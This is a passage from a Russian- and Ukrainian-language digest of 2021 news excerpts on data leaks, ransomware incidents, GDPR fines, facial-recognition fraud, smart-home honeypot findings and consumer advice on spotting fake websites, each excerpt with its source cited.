Усовершенствованная защита от вредоносных программ, обеспечивающая многоуровневый подход к предотвращению атак на их пути.

План реагирования на инциденты для реагирования и управления атакой, уменьшения ущерба и максимально быстрого восстановления.

Многоуровневый подход обеспечивает лучшую защиту электронной почты

Когда дело доходит до безопасности электронной почты, одноразовый подход никогда не работает. Вредоносные программы проходят единую защиту, поэтому решение должно предлагать несколько уровней защиты. Таким образом, если вредоносная программа обходит одну защиту, ее остановит следующий уровень. Рассмотрим следующую программу многоуровневой защиты:

Механизм защиты от спама, который снижает риски за счет предотвращения нежелательного спама

Технология Anti-Evasion, которая предотвращает передовые методы уклонения, использующие встроенные файлы и вредоносные URL-адреса.

Анализ угроз для предотвращения проникновения новых угроз в вашу электронную почту

Антифишинговые механизмы для предотвращения любых фишинговых атак до того, как они достигнут пользователей.

Технология антиспуфинга для защиты пользователей от социальной инженерии и атак без полезной нагрузки.

Антивирусное программное обеспечение для электронной почты, чтобы свести к минимуму риск заражения вредоносным ПО через электронную почту

Обнаружение для предотвращения сложных атак, таких как APT-атаки и атаки нулевого дня, которые пропускают обычные средства защиты

Использование многоуровневого подхода в сочетании с такими решениями, как Acronis Cyber Protect, которые включают фильтрацию URL-адресов, может помочь блокировать вредоносные домены и загрузки вредоносных программ, в первую очередь предотвращая заражение систем». ***(Email fatigue among users opens doors for cybercriminals // Bleeping Computer®***

(https://www.bleepingcomputer.com/news/security/email-fatigue-among-users-opens-doors-for-cybercriminals/).

***

«Специалисты обнаружили в даркнете базу данных всех пользователей Clubhouse. В сеть также слили данные людей, которые никогда не пользовались соцсетью

Об этом сообщил швейцарский эксперт по кибербезопасности Марк Рюф.

База включает в себя около 3,8 миллиардов телефонных номеров. Но это не только номера пользователей Clubhouse. В архиве множество контактов людей, которые никогда не были там зарегистрированы, так как Clubhouse после установки и регистрации загружал список контактов пользователя с его смартфона на свои сервера и синхронизировал их впоследствии в реальном времени. На сервере номера обрабатывались, и каждому контакту присваивался свой рейтинг - он зависел от того, у скольких людей в контактах есть этот самый номер телефона.

В связи с этими подробностями соцсети могут грозить серьезные проблемы. Так как, согласно GDPR Евросоюза, приложение не может собирать данные людей, которые им не пользуются, Clubhouse в явном виде нарушал европейское законодательство. Самая мягкая мера, которая может последовать за этим - удаление приложения из всех магазинов.

Сам продавец базы в качестве доказательства предоставил её часть, состоящую из нескольких миллионов номеров пользователей из Японии. Он планирует устроить частный аукцион 4 сентября, в день 23-летия Google…». ***(Базу данных пользователей Clubhouse продают в сети // ООО «Издательский Дом УМХ» (https://aif.ua/world/science/bazu_dannyh_polzovateley_clubhouse_prodayut_v_seti). 26.07.2021).***

***

«Доступ к персональным данным жителей Мадрида можно было получить через сайты департамента. Среди тех, чья личная информация оказалась раскрыта, значились проживающие в регионе король Испании Филипп VI, председатель правительства Педро Санчес и другие политические деятели.

В ведомстве на сайте, где можно было получить сертификат КОВИД-19, была найдена уязвимость системы безопасности. В итоге любой человек, обладающий минимальными знаниями информатики, введя номер удостоверения личности того или иного жителя Мадрида, мог узнать его домашний адрес и номер телефона. Кроме того, доступна оказалась и информация о том, где и когда человек был вакцинирован от нового коронавируса, каким препаратом и даже в какое плечо была сделана прививка.

Уязвимость была ликвидирована на протяжении нескольких часов. Ведомство охраны здоровья ведёт расследование по этому факту. Что интересно, мадридские правящие круги вначале пытались отрицать случившееся». ***(Ошибка в программном обеспечении мадридского врачебного ведомства привела к утечке***

персональной информации тысяч жителей испанской столицы // SecurityLab.ru (https://www.securitylab.ru/news/522052.php). 08.07.2021).

***

«**В интернет утекла база данных с платежной информацией пользователей сервиса анонимной верификации sms-activate.ru.** В файле содержатся имена, адреса электронной почты, IP-адреса, частичные номера платежных карт и суммы платежей.

За исключением дубликатов в базе данных более 163 тысяч уникальных электронных адресов, сообщает «Коммерсант». Первым о сливе рассказал Telegram-канал «Утечки информации».

Подобные сервисы фактически предоставляют мобильные номера во временное пользование клиентам. Это позволяет, например, анонимно пройти верификацию в Mail.ru, «ВКонтакте», Avito, Telegram, Twitter, «Яндексе» и на других ресурсах.

Основатель сервиса разведки утечек данных и мониторинга даркнета DLBI Ашот Оганесян в беседе с «Коммерсантом» уточнил, что из 163 тысяч утекших позиций около 50 тысяч пригодны к использованию.

Гендиректор Infosecurity a Softline Company Кирилл Солодовников объяснил, что слитая база sms-activate.ru может использоваться и мошенниками, и маркетологами. Утекшие данные позволяют составить профиль владельца. Имея эту информацию мошенники методами социальной инженерии могут манипулировать своими жертвами.

Это довольно редкий случай утечки, говорит эксперт центра продуктов Dozor компании «Ростелеком-Солар» Алексей Кубарев: «Ранее об утечках из сервисов приема SMS на виртуальные номера мы не слышали». Но Ашот Оганесян утверждает, что в июне уже была подобная утечка: «На открытом сервере Elasticsearch было обнаружено более 1,5 млн сообщений, предположительно отправленных с номера 900 с данными об именах клиентов, суммах снятия или перевода, балансах банковских карт и их последних четырех цифрах».

Представители sms-activate.ru по указанным на сайте контактам изданию не ответили на запрос». ***(Карина Пардаева. Данные сервиса для анонимной SMS-верификации попали в сеть // ООО "РБ.РУ" (https://rb.ru/news/sms-verifikaciya/). 20.07.2021).***

***

«**В последние годы технология распознавания лиц становится все более популярной в сфере занятости и потребителей (например, доступ сотрудников, системы регистрации паспортов, платежи на смартфонах), и, в частности, во время пандемии COVID-19.** Поскольку возникла необходимость проверять людей, входящих в учреждение, на наличие симптомов вируса, включая температуру, были введены тепловизионные камеры, киоски и другие устройства со встроенными функциями распознавания лиц. Однако многие возражали против использования этой технологии в ее нынешнем виде, ссылаясь на проблемы с ее точностью, и теперь, что еще более тревожно, растет беспокойство по поводу того,

что «лица - следующая цель для мошенников», как было резюмировано недавно статья в Wall Street Journal («WSJ»).

В прошлом году наблюдался всплеск хакеров, пытающихся «обмануть» технологию распознавания лиц в бесчисленном множестве настроек, таких как обманное получение пособий по безработице от государственных кадровых агентств. Большинство штатов в настоящее время используют технологию распознавания лиц в качестве средства защиты. способ проверки правомочных граждан, по иронии судьбы, с целью предотвращения других видов мошенничества. Как уже говорилось в статье WSJ, фирма ID.me.Inc. который предоставляет программное обеспечение распознавания лиц для 26 штатов, чтобы помочь проверить лиц, имеющих право на пособие по безработице, в период с июня 2020 года по январь 2021 года было зарегистрировано более 80000 попыток обмануть правительственные системы распознавания лиц. Хакеры систем распознавания лиц используют множество техник, включая дипфейки. Изображения, созданные искусственным интеллектом, специальные маски или даже изображения или видео человека, за которого хакер пытается выдать себя.

Мошенничество - не единственная проблема, связанная с технологией распознавания лиц. Несмотря на свою привлекательность для работодателей и организаций, существуют опасения относительно точности технологии, а также серьезные юридические последствия, которые необходимо учитывать. Во-первых, растут опасения относительно точности и предвзятости технологии. В недавнем отчете Национального института стандартов и технологий было изучено 189 алгоритмов распознавания лиц, которые считаются «большинством в отрасли». В отчете было обнаружено, что большинство алгоритмов демонстрируют предвзятость, ложно идентифицируя лица азиатских и чернокожих в 10-100 раз чаще, чем лица белых. Более того, ложноположительные результаты значительно чаще встречаются у женщин, чем у мужчин, и чаще у пожилых и детей, чем у взрослых среднего возраста.

Кроме того, в нескольких населенных пунктах США уже запрещено использование распознавания лиц в правоохранительных органах, других государственных учреждениях и / или в личных и коммерческих целях. Город Балтимор, например, недавно запретил использование технологий распознавания лиц горожанами, предприятиями и большинством городских властей (за исключением городского управления полиции) до декабря 2022 года. Законопроект Совета 21-0001 запрещает лицам «получать, сохранение, доступ или использование определенных технологий наблюдения за лицами или любой информации, полученной с помощью определенных технологий наблюдения за лицами». Аналогичным образом в сентябре 2020 года город Портлендв Орегоне стал первым городом в Соединенных Штатах, который запретил использование технологий распознавания лиц в частном секторе, сославшись, среди прочего, на отсутствие стандартов для технологии и широкий диапазон точности и количества ошибок, которые различаются в зависимости от расы и пола. Несоблюдение может быть болезненным. Постановление предусматривает лицо, пострадавших в результате существенного нарушения причины иски о возмещении ущерба или $ 1000 в день за каждый день нарушения, в зависимости от того, что больше.

И, наконец, компании, стремящиеся внедрить технологии распознавания лиц, должны учитывать свои обязательства по таким законам, как Закон штата Иллинойс о конфиденциальности биометрической информации (BIPA) и Закон Калифорнии о конфиденциальности потребителей (CCPA). BIPA касается сбора бизнесом биометрических данных как от клиентов, так и от сотрудников, включая, например, распознавание лиц, отпечатки пальцев и голосовые сообщения. BIPA требует информированного согласия до сбора биометрических данных, предусматривает обязательства по защите и руководящие принципы хранения, а также создает частное право на иск для лиц, пострадавших от нарушений BIPA, что привело к потоку коллективных судебных исков BIPA в последние годы. Техас, Вашингтон и Калифорниятакже имеют аналогичные требования, Нью-Йорк рассматривает законопроект о конфиденциальности, подобный BIPA, а Нью-Йорк недавно ввел аналогичные BIPA требования для предприятий розничной торговли и гостиничного бизнеса в отношении сбора биометрических данных от клиентов. Кроме того, штаты все чаще вносят поправки в свои законы об уведомлении о нарушениях, добавляя биометрическую информацию к категориям личной информации, требующей уведомления, включая поправки 2020 г. в Калифорнии, округе Колумбия и Вермонте. Более того, существует множество способов уничтожения данных, разумных мер предосторожности и требований поставщиков, которые необходимо учитывать, в зависимости от штата, при сборе биометрических данных.

Забрать

Технологии распознавания лиц и других биометрических данных переживают бум и продолжают проникать в различные грани жизни, которые трудно даже представить. Технология приносит бесчисленные потенциальные преимущества, а также значительные риски конфиденциальности и кибербезопасности. Организации, которые собирают, используют и хранят биометрические данные, все чаще сталкиваются с обязательствами соблюдения, поскольку закон пытается идти в ногу с технологиями, преступлениями в области кибербезопасности и осведомленностью общественности о конфиденциальности и безопасности данных. Создание надежной программы обеспечения конфиденциальности и защиты данных или регулярный анализ существующей программы является важным шагом в области управления рисками и соблюдения правовых норм». ***(Joseph J. Lazzarotti, Jason C. Gavejian and Maya Atrakchi. As Facial Recognition Technology Surges, Organizations Face Privacy and Cybersecurity Concerns, and Fraud // Jackson Lewis P.C. (https://www.workplaceprivacyreport.com/2021/07/articles/biometric-information/as-facial-recognition-technology-surges-organizations-face-privacy-and-cybersecurity-concerns-and-fraud/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+WorkplacePrivacyDataManagementSecurityReport+%28Workplace+Privacy%2C+Data+Management+%26+Security+Report%29#page=1). 28.07.2021).***

***

«Согласно последним документам компании, Управление по защите данных Люксембурга (CNPD) оштрафовало Amazon на рекордные 746 миллионов евро за несоблюдение правил конфиденциальности ЕС.

Решение было принято 16 июля, и регулятор постановил, что «обработка персональных данных Amazon не соответствовала Общему регламенту ЕС о защите данных».

Орган по защите данных также требует «пересмотра практики», которая не подробно описана в документе.

«Мы считаем решение CNPD необоснованным и намерены активно защищаться в этом вопросе», - говорится в заявлении компании. CNPD не ответила на запрос о комментариях и ранее заявляла, что не может комментировать отдельные случаи или даже подтверждать получение жалобы в соответствии с местным законодательством.

Наказание, безусловно, является самым высоким в соответствии с GDPR 2018 года и последовало после того, как расследование POLITICO в феврале показало, что плохая практика управления могла подвергнуть риску данные миллионов людей.

Комиссия по защите данных Люксембурга, которая контролирует Amazon, поскольку розничный торговец находится в Великом Герцогстве, наложила на интернет-ритейлера штраф после жалобы французской группы цифровых прав La Quadrature du Net в 2018 году, направленной на то, как Amazon получает согласие на целевую рекламу.

«Это действительно хорошие новости», - сказал Бастьен Ле Керрек из La Quadrature du Net. «Это действительно огромное количество».

В заявлении французской неправительственной организации говорится, что она еще не ознакомилась с решением, но размер штрафа указывает на «недвусмысленность» того, что система таргетинга на рекламу Amazon не получает добровольно предоставленных пользователей в нарушение GDPR.

Предыдущий самый высокий штраф GDPR, штраф в размере 50 миллионов евро для Google, также был вызван жалобой французской группы, члены которой были включены в список POLITICO Tech 28 самых влиятельных фигур на европейской технологической арене.

Отвечая на вопрос о решении, представитель Amazon сказал: «Мы категорически не согласны с решением CNPD и намерены подать апелляцию. Решение, касающееся того, как мы показываем клиентам релевантную рекламу, основывается на субъективной и непроверенной интерпретации европейского закона о конфиденциальности, и предлагаемый штраф совершенно несоразмерен даже этой интерпретации».

Штраф значительно превышает ранее заявленные 425 миллионов долларов (около 357 миллионов евро)». ***(LAURA KAYALI AND VINCENT MANANCOURT. Amazon fined €746M for violating privacy rules // Politico (https://www.politico.eu/article/amazon-fined-e746m-for-violating-privacy-rules/). 30.07.2021).***

***

«Тысячи хакерских атак были запущены в сети умных домашних устройств, разработанных исследователями для оценки риска, который гаджеты представляют для потребителей.

По данным исследователей из NCC Group, в течение первой недели сеть «приманок» была в сети, 1017 уникальных сканирований или попыток взлома были направлены на устройства в сети, в том числе смарт-телевизоры, принтеры, беспроводные камеры видеонаблюдения и Wi-Fi чайники.

Число атак продолжало расти, достигнув 12 807 в течение следующей недели, из них 2435 попыток войти в устройство со слабым именем пользователя и паролем по умолчанию.

Большинство устройств в среде «взломанного дома» смогли предотвратить атаки с помощью основных средств защиты, хотя это не означает, что они никогда не будут подвергаться риску, поясняют исследователи в заявлении.

Однако они продолжили, что наиболее тревожной проблемой, которую мы обнаружили, была подключенная камера со слабым паролем по умолчанию, который позволял подозреваемому хакеру получить доступ к потоку камеры. Однако объектив камеры был заклеен.

«Большинство этих атак автоматизированы», - заметил Мэтт Льюис, аналитик британской компании по кибербезопасности NCC Group.

«Они не знают, на что нацелены», - сказал он TechNewsWorld. «Они просто знают, как получить доступ к сервису и попробовать несколько распространенных слабых пар имени пользователя и пароля».

«Нам особенно понравились имя пользователя admin и пароль admin, что является обычной конфигурацией для многих устройств», - добавил он.

Вредоносный смешанный мешок

Льюис отметил, что большая часть активности, обнаруженной исследователями, вероятно, была безвредной. «Это было от крупных интернет-компаний, сканирующих Интернет, чтобы увидеть, что там есть», - сказал он. «Были также хакеры, которые искали IP-адреса уязвимостей, потому что они были скорее любопытными, чем гнусными».

Однако он добавил: «Мы действительно наблюдали активность камер видеонаблюдения, которые можно было отследить до известного злоумышленника в России».

Брэд Рассел, вице-президент международной консалтинговой компании Interpret, объяснил, что данные с устройств в области умного дома сильно отличаются от личной идентифицирующей информации.

«Людям намного сложнее беспокоиться о данных, полученных с их термостата, датчика воды или устройства открывания гаражных ворот», - сказал он TechNewsWorld.

«И у хакеров не было большого стимула получать доступ к данным умного дома», - добавил он. «Их энергию лучше потратить на установку программ-

вымогателей и кражу действительно ценных данных, таких как номера кредитных карт и социальные сети».

Тем не менее, это не означает, что умные домашние устройства нельзя использовать для нанесения вреда их владельцам.

«Взломанный интеллектуальный термостат может предоставить шлюз в домашнюю сеть, а затем доступ к персональным компьютерам и цифровым файлам», - пояснил Адам Райт, старший аналитик по интеллектуальному дому в IDC.

«Умная камера или радионяня, которые взломаны, могут способствовать той же злонамеренной активности, что и термостат, - продолжил он, - но, кроме того, саму камеру можно использовать для слежки за людьми, или камеру можно использовать для общения или преследования. люди в доме ".

«Любое взломанное подключенное к Интернету устройство может использоваться в качестве точки перехода к другим устройствам», - добавил Том Бреннан, председатель Crest USA, глобального некоммерческого органа по аккредитации и сертификации кибербезопасности.

«Его также можно использовать как точку эксфильтрации для вывода звука, видео и данных из дома», - сказал он TechNewsWorld.

Хакерские магниты

Илья Сотников, стратег по безопасности и вице-президент по взаимодействию с пользователями в Netwrix, разработчике платформы для видимости и управления из Ирвина, Калифорния, отметил, что устройства умного дома привлекают несколько типов хакеров.

«Самые безобидные злоумышленники - это дети-гики, изучающие технологию, взламывая ее», - сказал он TechNewsWorld. «Они не будут искать финансовой выгоды. Они шутники, которым нравится разбудить кого-то, включив свои умные лампочки посреди ночи».

«Однако они не совсем безвредны и могут привести к ущербу или потере денег, если они решат играть с устройствами, подключенными к вашим учетным записям цифрового рынка», - сказал он.

«Другой тип злоумышленника можно сравнить с бродягой, проверяющим незапертые двери в районе», - продолжил он. «В« компромиссе »они ищут финансовой выгоды и будут использовать все, что могут».

«Вероятно, самые отвратительные злоумышленники - это насильники и педофилы, похищающие камеры и игрушки, подключенные к Интернету», - утверждал он.

«Наконец, - добавил он, - для очень немногих высокопоставленных целей интеллектуальные устройства могут быть лишь одним из векторов атаки, позволяющих противникам собирать информацию и вторгаться в их жизнь».

«Умные домашние устройства во многих случаях подвергаются атакам хакеров, потому что атаки легко осуществить», - отметил Райт.

«Многие устройства по-прежнему поставляются с завода с неадекватными средствами защиты, такими как коды безопасности для доступа к устройству 1234 или 0000», - сказал он.

Потребитель защищает себя

Райт добавил, что безопасность важна для покупателей умных домашних устройств. Он процитировал опрос IDC 2020 года, который показал, что 71,4% пользователей умных домов хотя бы в некоторой степени обеспокоены безопасностью устройств и данных.

Он отметил, что основными проблемами безопасности респондентов опроса были несанкционированный контроль над устройствами, кража личных данных и записываемые разговоры. Меньше потребителей беспокоились о выявленных покупательских привычках.

Для потребителей, которые хотят защитить свои умные домашние устройства от хакеров, Сотников предлагает следующие советы:

Когда вы получаете новое устройство, всегда меняйте пароль по умолчанию или устанавливайте пароль, если он не защищен, прямо из коробки.

Проверьте другие параметры безопасности и подумайте об их усилении. Это будет зависеть от типа устройства. Они включают в себя такие параметры, как отключение микрофона голосового помощника, когда вы его не используете, отключение доступа к спискам адресов, установка дополнительной защиты для покупок в Интернете и включение дополнительного подтверждения или уведомлений.

Обязательно включите параметр для загрузки и установки исправлений безопасности, если производитель устройства их предоставляет. Неисправленные уязвимости могут предоставить хакерам самый быстрый способ проникнуть в вашу систему.

Рассмотрите возможность сегментации вашей домашней сети, чтобы кто-то, взломавший умный холодильник и лампочки, не мог перепрыгнуть на ваш компьютер и получить доступ к вашим личным или рабочим ИТ-системам». ***(John P. Mello Jr. Researchers Find Smart Devices Ripe for Hacker Attacks // ECT News Network (https://www.technewsworld.com/story/87192.html). 07.07.2021).***

***

Кіберзлочинність та кібертерроризм

«Фахівці міжнародного розробника антивірусного програмного забезпечення - компанії ESET розповіли, як відрізнити шкідливий сайт від безпечного, не потрапити на вудку хакерів та запобігти зараженню пристрою…

«Для того, щоб ввести нас в оману, шахраї можуть розробити сайт на вигляд ідентичний оригінальному та зробити його адресу максимально схожою. У зв'язку з небезпекою фахівці ESET підготували кілька простих правил, які допоможуть розпізнати шкідливий ресурс та запобігти зараженню пристрою», - повідомили в компанії ESET.

Помилка в адресі сайту

Згідно з повідомленням, використання адреси сайтів, подібних до відомих, є однією з найбільш поширених тактик, щоб заманити користувачів на шкідливий

ресурс. Для цього зловмисники реєструють домени, які дуже схожі на офіційні, але містять візуально неоднозначні символи або додаткові літери чи знаки.

«Прикладом є «rnicrosoft.com» - неправильно написане доменне ім'я «Microsoft», де буква «r», за якою слідує «n», може бути невірно визначена як «m» (залежно від шрифту, розміру та уважності читача). Іншим прикладом є заміна літери «o» у доменному імені «facebook» на подібну грецьку «o», - зазначають в компанії.

Також зловмисники можуть створювати доменні імена, що збігаються з популярними сайтами, але з типовими помилками, такими як «gogle.com» та «gooogle.com». Обидва з цих доменів тепер належать Google та перенаправляють на їх офіційний сайт. Своєю чергою, Facebook для захисту від помилок зареєстрував домени, в яких «k» замінено деякими літерами. У таких випадках користувачі перенаправляються на реальний домен facebook.com.

За даними ESET, як правило, підроблений сайт виглядає майже ідентично оригіналу, щоб ще більше заплутати користувача. Тому необхідно бути обережним при копіюванні та вставці URL-адреси або безпосередньо при натисканні на нього.

«Продукти ESET забезпечують захист від подібних загроз, повідомляючи користувачеві про відкриття підозрілої сторінки», - зазначають в компанії.

Перевірка безпеки сайту

У разі виникнення підозр щодо відвідуваного сайту фахівці з кібербезпеки рекомендують використовувати онлайн-інструменти для перевірки їх безпеки. Google, наприклад, пропонує власний інструмент, який після вставки певної URL-адреси повідомляє, безпечний сайт чи ні. Іншим інструментом є VirusTotal, який аналізує сайт та перевіряє його з використанням провідних антивірусних систем, а також ідентифікує шкідливі URL-адреси.

Також можна здійснити whois-запит, щоб дізнатися, кому належить певний домен сайту. Whois - це запис, що містить інформацію про домен, включаючи дані про те, кому він належить, коли та де був зареєстрований, а також які існують способи зв'язку з власником. Щоб виконати whois-запит, потрібно перейти на спеціальний ресурс і ввести адресу потрібного сайту.

Крім цього, підозру повинен викликати недавно зареєстрований домен. Наприклад, згідно з інформацією ESET, офіційний домен Facebook не може бути зареєстрований у 2021 році. Ще однією ознакою шкідливого домену є неповна або з численними помилками інформація, яка відображається після натискання кнопки «Показати більше даних». Однак в деяких випадках це може бути пов'язано з неуважністю користувачів при заповненні реєстраційних даних.

Політика конфіденційності та контактних даних

У разі виникнення сумнівів у легітимності певного сайту, спеціалісти ESET радять перевірити наявність його політики конфіденційності, яка, відповідно до законодавства Про захист даних, повинна бути у кожного легітимного сайту.

Крім цього, у будь-якої легітимної компанії, яка зацікавлена в побудові тривалих відносин зі своїми клієнтами, повинна бути актуальна контактна інформація на своїй сторінці. Як правило, на сайтах розміщується контактна форма, електронна пошта або номер телефону.

Використання HTTPS

Однією з ознак безпечного сайту вважається використання протоколу HTTPS. Однак, за даними ESET, HTTPS тільки забезпечує надійне шифрування з'єднання між сервером і браузером користувача, захищаючи від перехоплення інформації та забезпечуючи надійність входу, наприклад, в систему банку або іншого сайту.

Оскільки більшість сайтів в Інтернеті використовують шифрування за допомогою SSL або TLS, це не є показником безпечного сайту. Однак варто подивитися, які послуги пропонує сайт і яка організація випустила сертифікат SSL або TLS. Щоб перевірити підтверджений сертифікат і з'ясувати ким він був випущений, натисніть на знак замка в адресному рядку браузера.

Надійне рішення з безпеки

У компанії ESET додали, що використання комплексного рішення з безпеки допоможе захистити від більшості кіберзагроз, в тому числі, від шкідливих сайтів.

«Наприклад, програма ESET Smart Security Premium аналізує сторінки за допомогою вбудованого механізму сканування, шукає небезпечний контент і блокує доступ до сайту в разі виявлення загрози. Таким чином, рішення дозволяє запобігти завантаженню будь-яких шкідливих програм. Крім цього, в програмі також доступна функція «Антифішинг», яка захищає від спроб крадіжки паролів, банківських даних та іншої конфіденційної інформації під час відвідування підроблених сайтів, замаскованих під легітимні», – зазначили в компанії.

«У будь-якому випадку необхідно звертати увагу на помилки в URL-адресах сайтів, ретельно перевіряти їх сертифікати безпеки, а також вводити адресу вручну або використовувати тільки Перевірені посилання», – підсумували фахівці ESET…». ***(Фахівці розповіли як не потрапити шкідливий сайт-підробку: на що звернути увагу // Багнет (https://www.bagnet.org/news/tech/1314726/fahivtsi-rozpovili-yak-ne-potrapiti-shkidliviy-sayt-pidrobku-na-shcho-zvernuti-uvagu). 13.07.2021).***

***

«Хакерская атака на район Анхальт-Биттерфельд спровоцировала первую кибер-катастрофу в Германии. Согласно собственным заявлениям, администрация округа Саксония-Анхальт вынуждена прекратить свою работу почти на две недели из-за того, что преступники атаковали компьютерную систему 6 июля.

«Мы практически полностью парализованы, и то же самое будет и на следующей неделе», - сказал представитель. Таким образом, округ с населением около 157 000 человек больше не может выплачивать какие-либо социальные пособия или пособия по содержанию. Органы безопасности проводят расследование.

Муниципальная ИТ-инфраструктура во многих местах слабая

По словам представителя района, катастрофа была объявлена, чтобы можно было быстрее отреагировать. Федеральное управление информационной безопасности (BSI) объявило, что он включен и находится на месте. Таким образом, это первое: «В Германии уже были нападения на муниципалитеты, но ни одно из них не объявило катастрофой», - заявила пресс-секретарь BSI.

Угроза, похоже, хорошо известна: круги безопасности отмечают, что муниципальная ИТ-инфраструктура в Германии, вероятно, хуже всего защищена от кибератак, хотя данных от граждан много. Муниципалитеты часто используют устаревшее оборудование и программное обеспечение, в то время как крупные компании и федеральное правительство имеют обширные ИТ-отделы.

BSI имеет национальный центр киберзащиты с 2011 года, который в первую очередь предназначен для регистрации и отражения атак на федеральную администрацию. Компании в так называемой критической инфраструктуре, такой как энергоснабжение, также обязаны сообщать о кибератаках.

Множество хакерских атак за последние несколько месяцев

В районе Анхальт-Биттерфельд не пожелали предоставить какую-либо информацию о нападавших со ссылкой на полицейское расследование. В силовых кругах подозревают, что это снова шантаж. В таких случаях злоумышленники шифруют данные, которые они повторно выпускают только после уплаты необходимой суммы.

В последние несколько месяцев участились нападения преступных групп на сети как на компании, так и на государственные учреждения. Например, нападению подверглись медицинские компании и клиника Дюссельдорфа, которым затем пришлось временно закрыть отделения…». ***(Landkreis ruft bundesweit ersten Cyber-Katastrophenfall aus // ZEIT (https://www.zeit.de/digital/2021-07/hackerangriff-anhalt-bitterfeld-katastrophenfall-cybersicherheit?wt_zmc=sm.int.zonaudev.twitter.ref.zeitde.redpost.link.x&utm_medium=sm&utm_source=twitter_zonaudev_int&utm_campaign=ref&utm_content=zeitde_redpost_link_x&utm_referrer=https%3A%2F%2Ffakty.com.ua%2F). 10.07.2021).***

***

«Рахункова палата Молдови повідомила про кібератаку на офіційний сайт установи, у результаті якої було знищено всі загальнодоступні бази даних…

Як зазначили в Рахунковій палаті, з такою ситуацією найвищий контрольний орган країни зіштовхнувся вперше.

«Знищення сторінки відбулося в контексті резонансних і впливових аудитів суспільної важливості, на етапі звітності та висвітлення в ЗМІ найважливіших аудиторських місій», - наголошується в заяві.

Рахункова палата планує встановити в ході розслідування, чи була ця атака організована хакерами з метою шантажу, або ж це сплановане замовлення, спрямоване на створення перешкод для діяльності установи.

В цей час фахівці працюють над відновленням роботи сайту. У Рахунковій палаті пообіцяли докласти всіх зусиль, щоб сайт запрацював якомога швидше». ***(Хакери атакували Рахункову палату Молдови та знищили загальнодоступні бази даних // Українська правда (https://www.pravda.com.ua/news/2021/07/15/7300687/). 15.07.2021).***

***

«Одна з головних мереж супермаркетів Швеції оголосила в суботу, що була змушена тимчасово закрити близько 800 магазинів у країні після кібератаки, яка паралізувала її каси…

«Один із наших субпідрядників постраждав від комп'ютерної атаки, і з цієї причини наші касові апарати більше не працюють», - сказано в прес-релізі Coop Sweden, який представляє близько 20% сектору в північній країні.

«Ми шкодуємо про цю ситуацію і робимо все можливе, щоб швидко відкритися», - додали в мережі.

Ні ім'я відповідного субпідрядника, ні спосіб дії, застосований для кібератаки, яка розпочалася у п'ятницю ввечері, не оприлюднені.

Але інцидент відбувається на тлі хвилі атак-вимагачів, яку націлені на комерційні і державні об'єкти у всьому світі, особливо в США…». ***(У Швеції мережа супермаркетів була змушена закрити 800 магазинів через кібератаку // Європейська правда (https://www.eurointegration.com.ua/news/2021/07/3/7125086/). 03.07.2021).***

***

«На серверы крупнейшего оператора мобильной связи и интернет-провайдера Грузии – Magticom, совершена кибератака, говорится в сообщении МВД Грузии.

По информации ведомства, из-за действий хакеров проблемы возникли у сервис-центров компании, сообщается о перебоях в работе фиксированного и мобильного интернета.

Следствие начато по двум статьям УК Грузии – «незаконное использование компьютерных данных или компьютерных систем» и «посягательство на компьютерные данные или компьютерные системы». ***(Крупнейший интернет-провайдер Грузии подвергся кибератаке // Эхо Кавказа (https://www.ekhokavkaza.com/a/31352137.html). 10.07.2021).***

***

«Німецькі компанії більше ніж коли-небудь стають об'єктами хакерських атак. Німецька економіка ще ніколи не піддавалася таким серйозним хакерським атакам, як нині. Про це повідомляє видання Welt am Sonntag з посиланням на слова голови відділу безпеки Федеральної асоціації німецької промисловості Маттіаса Вахтера…

«Німецька економіка ще ніколи не піддавалася такій серйозній атаці, як сьогодні. Число атак у зв'язку з пандемією коронавірусу зросло, тому що компанії ще більш уразливі в домашньому офісі», - сказав голова відділу безпеки Федеральної асоціації німецької промисловості Маттіас Вахтер.

Деталі

Представники органів безпеки і асоціацій Німеччини підтверджують це.

«Ситуація з погрозами як і раніше дуже напружена і посилюється пандемією, - заявляє Федеральне управління з інформаційної безпеки. - Кібератаки з використанням програмного забезпечення для шантажу грають в цьому головну роль».

Зокрема, в разі хакерських атак з метою розблокування заблокованих комп'ютерних систем тільки після сплати викупу виявляється «підвищена агресивність».

В галузі вважають, що захисні заходи федерального уряду і його підтримка економіки недостатні. Ось чому Федеральна асоціація німецької промисловості розробила всеосяжну концепцію «національну стратегії економічної захисту».

Одне з конкретних вимог полягає в тому, щоб федеральний уряд призначив «координатора по економічному захисту» в ранзі державного міністра або статс-секретаря. Крім того, в рамках державно-приватного партнерства буде створено національний центр економічного захисту, який буде служити сполучною ланкою між органами безпеки і компаніями…» ***(Галина Крижанівська. Кількість кібератак на німецькі компанії ніколи не була такою великою - Welt am Sonntag // Інформаційне агентство «Українські Національні Новини» (https://www.unn.com.ua/uk/news/1935099-kilkist-kiberatak-na-nimetski-kompaniyi-nikoli-ne-bulo-takoyu-velikoyu-welt-am-sonntag). 04.07.2021).***

***

«Согласно новым данным Microsoft, в Азиатско-Тихоокеанском регионе австралийцы являются вторыми по вероятности жертвами кибер-мошенничества с технической поддержкой. Лидирует Индия, где 69% людей столкнулись с мошенничеством с техподдержкой.

Отчет Global Tech Scam Research за 2021 год [PDF] показал, что за последние 12 месяцев 68% австралийцев столкнулись с той или иной формой мошенничества с технической поддержкой. Несмотря на то, что это снижение на два пункта по сравнению с 2018 годом, оно все же было выше среднемирового показателя, который составил 59%, что на пять пунктов ниже, чем в 2018 году.

Из тех австралийцев, которые столкнулись с мошенничеством в 2021 году, 9% потеряли в результате деньги, что на три процентных пункта больше, чем в 2018 году, и немного выше, чем в среднем по миру в 7%. Сумма, потерянная теми, кто продолжал взаимодействовать с такими мошенниками, составила в среднем около 126 австралийских долларов.

Согласно исследованию, небольшое снижение числа случаев мошенничества в Австралии в период с 2018 по 2021 год в значительной степени было вызвано сокращением всплывающей рекламы и мошенничества с перенаправлением веб-сайтов, на долю которых в 2021 году приходилось 39% и 34% мошеннических взаимодействий соответственно.

С другой стороны, нежелательные звонки и нежелательные электронные письма, полученные австралийскими клиентами, увеличились до 46% и 41% соответственно в 2021 году.

При разбивке типов мошенничества и взаимодействия по поколениям австралийские бумеры, люди в возрасте от 54 лет, оказались наиболее восприимчивыми к нежелательным звонкам (55%). Между тем, среди миллениалов в возрасте от 24 до 37 лет чуть менее половины попадались на нежелательные электронные письма.

